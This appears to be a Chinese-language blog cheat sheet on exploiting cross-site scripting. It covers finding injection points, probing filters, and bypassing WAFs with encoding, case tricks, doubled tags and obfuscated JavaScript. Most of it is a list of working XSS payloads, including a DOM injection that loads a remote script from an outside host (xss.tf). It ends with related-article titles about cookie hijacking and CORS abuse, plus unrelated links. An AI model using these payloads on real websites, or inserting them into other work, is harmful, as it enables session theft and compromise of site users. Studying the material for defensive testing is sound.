xss姿势利用
1.定位页面可以出现xss的位置
可能会出现联合点利用 一个页面多个存储位置或者一个页面多个参数联合利用
例如输入xss 查看页面源码页面里有多个xss 或者多个参数显示 可以利用
需要注意的是有的是js动态加载标签 或者iframe嵌套 和框架嵌套 需要去审查元素
如果xss位置在js 可以直接利用js弱语言的特性直接写js
如果xss位置在html 标签属性中 可以先判断闭合条件 '和" 利用伪协议写js
如果是>< 标签内 可以直接写html 标签 值得注意的是有些标签自带htmlEncode功能
例 <textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
<math></math>
这些标签需要先闭合不然标签输出的都是文本
2.快速判断过滤
'"<>script onsss javascript 输入是否成功回显 或者判断是否被过滤/转义
3.常见绕过
8进制,16进制,html实体编码 String.fromCharCode()还原ascii
大小写 ,双写,过滤顺序,注释换行逃逸
4.payload 编码利用
<SCRIPT SRC=x ></SCRIPt> 大小写 利用
<SCrIPT SRC=http://x/x ></ScRIPt>
alert(1) html实体编码 利用
<img src=1 ONERROR= "%0ajavascript:%0calert%0d(/xss/);" width=100> 空字符
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script> ascii 转义
<script>alert`1`</script> 反引号带替()
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+")"+"\"")())()</script> jj编码 后 要在用url编码
eval('\x76\x61\x72\40\141\75String.fromCharCode(49);\u0061\u006c\u0065\u0072\u0074\u0028a\u0029;') eval采用混编 16进制 8进制 10进制 unicode编码
5.绕过姿势
利用H5新标签,DOM编程,编码,浏览器差异解析绕过
探测有哪些是被wa了的 '">script img onerror 在探测waf规则...
<scr<script>ipt>alert(/XSS/)</scr<script>ipt> 过滤时双写或者大小写
黑名单绕过比如alert被禁时 可以试试prompt/confirm
<div style=xss:\0065xpression(alert(1))> 仅限IE
<a onmouseover=\u0074> 通过on事件/伪协议的执行js 后渲染的js 全部可以用各种编码混编
所以我们大多是绕过对伪协议的限定
不常见便签来绕过黑名单
isindex,anytag,object ,marquee,audio,video,embed,svg等
tab 绕过 javascri p t 记住要;结尾 这也是利用的js弱语言特性
注释符逃逸 %0a %0c %0d 换行符 %00只在ie8下有用
DOM 编程 例子
<img src='1' name=javasCript:s=document.createElement%28"sCript"%29;s.src="//xss.tf/zuQ";document.body.appendChild%28s%29 onerror=location=this.name />
iframe 的srcdoc 标签利用
xss姿势利用的更多相关文章
- XSS姿势——文件上传XSS
XSS姿势--文件上传XSS 原文链接:http://brutelogic.com.br/blog/ 0x01 简单介绍 一个文件上传点是执行XSS应用程序的绝佳机会.很多网站都有用户权限上传个人资料 ...
- 【XSS】利用 onload 事件监控流量劫持
说到跨站资源监控,首先会联想到『Content Security Policy』.既然 CSP 好用,我们何必自己再搞一套呢.那就先来吐槽下 CSP 的缺陷. 目前的 CSP 日志不详细 用过 CSP ...
- XSS高级利用
XSS会话劫持 (1)Cookie简介 Cookie是能够让网站服务器把少量文本数据存储到客户端的硬盘.内存,或者是从客户端的硬盘.内存读取数据的一种技术. Cookie是一段随HTTP请求.响应一起 ...
- xss漏洞利用
简述 跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息.攻击者通过在链接中插入恶意代码,就能够盗取用户信息.攻击者通常会在有漏洞的程序中插入 JavaScript.VBScript. ...
- Dreammail V4.6.9.2 XSS漏洞利用
转载请注明:@小五义http://www.cnblogs.com/xiaowuyi 针对版本: DreamMail 4.6.9.2测试环境:windows xp sp3 python版本:2.6 测试 ...
- 新学到的xss姿势,分享一下
在js中有一种神奇的对象叫做window 当页面中包含如类似的 <script>var c = urlQuery("callback"); var r = JSON.p ...
- CORS+XSS的漏洞利用payload
之前有人问我有没有CORS+XSS的利用姿势,翻了一下国内貌似都没有利用姿势于是就写了这篇文章!!! 首先找到一个反射xss,然后使用xss加载javascript代码达到跨域劫持目的payload如 ...
- XSS跨站及利用
(一)软件测试环境以及搭建 测试环境:本地 XAMPP 1.7.1 测试软件:PHP168整站v5.0 软件下载地址 http://down2.php168.com/v2008.rar PHP.ini ...
- 持久化 XSS:ServiceWorkers 利用
来源:http://www.mottoin.com/95058.html 来源:https://www.owasp.org/images/3/35/2017-04-20-JSONPXSS.pdf Se ...
随机推荐
- [Algorithm] Heap & Priority queue
这里只是简单的了解,具体内容详见推荐的原链接 注意堆和树的区别 堆就是优先级队列的实现形式 堆排序 排序过程 Ref: 排序算法之堆排序(Heapsort)解析 第一步(构造初始堆): {7, 5, ...
- FPGA 开发详细流程你了解吗?
FPGA 的详细开发流程就是利用 EDA 开发工具对 FPGA 芯片进行开发的过程. FPGA 的详细开发流程如下所示,主要包括电路设计.设计输入.综合(优化).布局布线(实现与优化).编程配置五大步 ...
- Java线程池基础
目录: 一.线程池概述 二.线程池参数 三.线程池的执行过程 四.线程池的主要实现 五.线程池的使用 六.线程池的正确关闭方式 七.线程池参数调优 一.线程池概述 1.线程池类 目前线程池类一般有两个 ...
- Centos7 安装Nginx 实战01
1.首先下载 Nginx wget http://nginx.org/download/nginx-1.17.0.tar.gz (版本什么的自己去官网找好) 2.解压 tar -zxvf nginx- ...
- 安装centos8
一. 镜像下载 国内源下载镜像:(推荐) http://mirrors.aliyun.com/centos/8.0.1905/isos/x86_64/CentOS-8-x86_64-1905- ...
- 使用java的循环单向链表解决约瑟夫问题
什么是约瑟夫问题 据说著名犹太历史学家 Josephus有过以下的故事:在罗马人占领乔塔帕特后,39 个犹太人与Josephus及他的朋友躲到一个洞中,39个犹太人决定宁愿死也不要被敌人抓到,于是决定 ...
- Spring Boot (八): Mybatis 增强工具 MyBatis-Plus
1. 简介 在上一篇文章<Spring Boot (七): Mybatis极简配置> 中我们介绍了在 Spring Boot 中 Mybatis 的基础使用方式,其中有一部分美中不足的是 ...
- 一个PHP文件搞定微信H5支付
/ 更新于 2018-07-02 / 8 条评论 过年期间也坚持要撸码啊接着给博客除草,在这个小除夕是情人节的一天,祝大家新年快乐,情人节能够顺利脱单~~~ 回归正题,这篇文章介绍一下微信H5支付, ...
- .net mvc web api Autofac依赖注入框架-戈多编程
今天自己搭了一套基于三层的依赖注入mvc web api 的依赖注入框架,在此总结下相关配置 1.设置应用程序的.net Framework版本为 4.5 2.通过Nuget 安装autofac包 I ...
- BS结构的一个注册用户的功能
注册用户功能 学了Java一段时间,就想折腾折腾,就做了一个注册的功能,用HTML写了一个网页上的比较简陋的界面,用Java做了一个后台简陋的服务器处理数据,最后将数据存储到数据库中. 注册界面 ...